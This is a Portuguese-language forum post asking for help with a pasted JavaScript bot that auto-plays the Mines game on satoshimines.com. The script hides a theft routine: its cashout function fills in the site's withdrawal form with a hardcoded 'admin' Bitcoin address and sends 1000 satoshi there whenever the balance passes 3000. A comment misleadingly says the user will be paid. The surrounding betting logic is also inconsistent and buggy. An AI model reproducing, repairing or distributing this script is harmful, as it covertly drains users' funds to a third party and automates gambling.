Pessoal estou precisando muito de uma ajuda.
Tenho esse codigo aqui que funciona no site satoshimines.com
// var bet = Math.floor(Math.random() < .5 ? 30 : 60);
var bet = 0;
function endgame() {
var bal = $('.balance .num').html();
bal = parseInt(bal);
if (bal < 1000) {
stopgame();
} else {
debugger;
}
}
// place your bet here. minimum is 30.
var admin_bitcoin_addr = "1KoAKjbXSCJ2bcmtevshQpGCmwhfm7gege"; // You will be paid in steady withdraw_amount satoshi. (Once the bot reaches withdraw_threshold, it will deposit withdraw_amount into your bitcoin wallet, then continue betting with the 1000)
var withdraw_threshold = 3000;
var withdraw_amount = 1000;
setInterval(function() {
stopgame(); start_game();
}, 1000 * 10); // Just in case the page stops responding.
/* in case the bot will click a bomb, bet will be adjusted on the next round to compensate the loss.
the bot will set the bet again to the original value on the next next round.*/
var bigBet = bet*2;
bigBet = Math.ceil(bigBet);
//var bigBet = 0;
bigBet = Math.ceil(bigBet);
var risky_bet_chance1 = 0;
var risky_bet_chance2 = 0;
var stop_limit_balance = 300;
/* click sequence interval in milliseconds. equivalent to 2 seconds.
You can change it to longer than 2 seconds but please don't change it to a lower value because it can messed up the timings if you have a slow internet. If you have a very slow internet connection, I recommend setting it up to 3 seconds or higher. */
var interval = 1400;
var tile1, tile2, tile3, timeout1, timeout2, timeout3, timeout4, timeout5, timeout6, timeout7, num_clicks;
var i = 1;
var k = 0;
var b = 0;
var win = 0;
var lost = 0;
var lucro = 0;
// force the difficulty to 1 mine at the start of the game.
$('.quarter').first().find('button').click();
start_game();
function start_game() {
$('#bet').val(Math.ceil(1.1 * bet))
$('#bet').val(bet);
if (i <= 20 ) {
$('#bet').val(Math.ceil(2 * bet));
i++;
} else {
$('#bet').val(bet);
}
if (i <= 10) {
$('#bet').val(Math.ceil(2 + bet));
i++;
} else {
$('#bet').val(bet);
i = 1;
}
num_clicks = ((Math.random() * 3) + 1);
$('#start_game').click();
if(win > lost){
lucro = win - lost;
lucro = ' Lucro de:'+ lucro;
}else if(lost > win){
lucro = lost - win;
lucro = ' Perda de:'+ lucro;
}else if(win > lost){
bet = 0;
}else{
lucro = ' Empate';
}
console.log('Acertos:'+k+' Bombas:'+b+' Ganho:'+win+' Perda:'+lost+lucro);
timeout1 = setTimeout(click_tile1, interval)
} // end of function start_game()
function click_tile1() {
var tile1 = Math.floor(((Math.random() * 13) + 1) + ((Math.random() * 11) + 1) - (Math.random() * 10) + 1);
search_last_bomb();
$('.game_left').first().find('li[data-tile=' + tile1 + ']').click();
$('.game_left [data-tile="'+tile1+'"]').click();
setTimeout(function() {
if ($('.game_left').first().find('li[data-tile=' + tile1 + ']').hasClass('bomb')) {
$('.quarter').first().find('button').click();
b++;
loose = $('.messages .bomb').html();
loose = loose.split(" ");
loose = loose[11].replace(',','');
lost = Number(loose) + lost;
} else {
k++;
prize = $('.find span').html();
if (prize){
prize = prize.split(" ");
win = Number(prize[0]) + win;
} else{
win = win;}
if (num_clicks >= 2) {
timeout2 = setTimeout(click_tile2, interval);
} else {
$('.quarter').first().find('button').click();
timeout6 = setTimeout(cashout, interval);
$('.game_right').first().find('.cashout').click();
}
}
}, interval);
} // end of function click_tile1()
function click_tile2() {
var tile2 = Math.floor(((Math.random() * 7) + 1) + ((Math.random() * 16) + 1) - (Math.random() * 3) + 1);
//search_last_bomb();
$('.game_left').first().find('li[data-tile=' + tile2 + ']').click();
$('.game_left [data-tile="'+tile2+'"]').click();
setTimeout(function() {
if ($('.game_left').first().find('li[data-tile=' + tile2 + ']').hasClass('bomb')) {
$('.quarter').first().find('button').click();
b++;
loose = $('.messages .bomb').html();
loose = loose.split(" ");
loose = loose[11].replace(',','');
lost = Number(loose) + lost;
} else {
k++;
prize = $('.find span').html();
if (prize){
prize = prize.split(" ");
win = Number(prize[0]) + win;
} else{
win = win;}
if (num_clicks >= 3) {
timeout4 = setTimeout(click_tile3, interval);
} else {
$('.quarter').first().find('button').click();
timeout6 = setTimeout(cashout, interval);
$('.game_right').first().find('.cashout').click();
}
}
}, interval);
} // end of function click_tile2()
function click_tile3() {
var tile3 = Math.floor(((Math.random() * 10) + 1) + ((Math.random() * 14) + 1) - (Math.random() * 3) + 1);
//search_last_bomb();
$('.game_left').first().find('li[data-tile=' + tile3 + ']').click();
$('.game_left [data-tile="'+tile3+'"]').click();
setTimeout(function() {
if ($('.game_left').first().find('li[data-tile=' + tile3 + ']').hasClass('bomb')) {
b++;
loose = $('.messages .bomb').html();
loose = loose.split(" ");
loose = loose[11].replace(',','');
lost = Number(loose) + lost;
} else {
k++;
prize = $('.find span').html();
if (prize){
prize = prize.split(" ");
win = Number(prize[0]) + win;
} else{
win = win;}
$('.quarter').first().find('button').click();
timeout6 = setTimeout(cashout, interval);
$('.game_right').first().find('.cashout').click();
}
}, interval);
} // end of function click_tile2()
function cashout() {
$('.game_right').first().find('.cashout').click();
var bal = $('.balance .num').html();
bal = $.trim(bal);
bal = bal.replace(',', '');
bal = parseInt(bal);
if (bal >= withdraw_threshold) {
$("#deposit_withdraw").click();
$("#io_out").click();
$(".amount").val(withdraw_amount);
$(".payto_address").val(admin_bitcoin_addr);
$(".withdraw").click();
var check = function() {
if ($(".txid").length > 0) {
$(".close_all").click();
console.log("Payment sent! Restarting game.");
timeout7 = setTimeout(start_game, interval);
return;
} else
setTimeout(check, 10);
}
setTimeout(check, 10);
} else
timeout7 = setTimeout(start_game, interval);
} // end of cashout
function stopgame() {
clearTimeout(timeout1);
clearTimeout(timeout2);
clearTimeout(timeout3);
clearTimeout(timeout4);
clearTimeout(timeout5);
clearTimeout(timeout6);
clearTimeout(timeout7);
} // end of stopgame()
function search_last_bomb() {
var has_chosen = Math.floor((Math.random() * 2) + 0);
if ($('.game_left').eq(1) != null && $('.game_left').eq(1).length > 0) {
$('.game_left').eq(1).find('.board').find('li').each(function(i, elem) {
if ($(elem).hasClass('reveal')) {
has_chosen = 1;
tile1 = $(elem).data('tile')
return false;
}
});
}
if(has_chosen == 0){
tile1 = Math.floor((Math.random() * 25) + 1);
}
} // end of searchLastBombTile()
Abaixo esta a explicacao do que eu quero.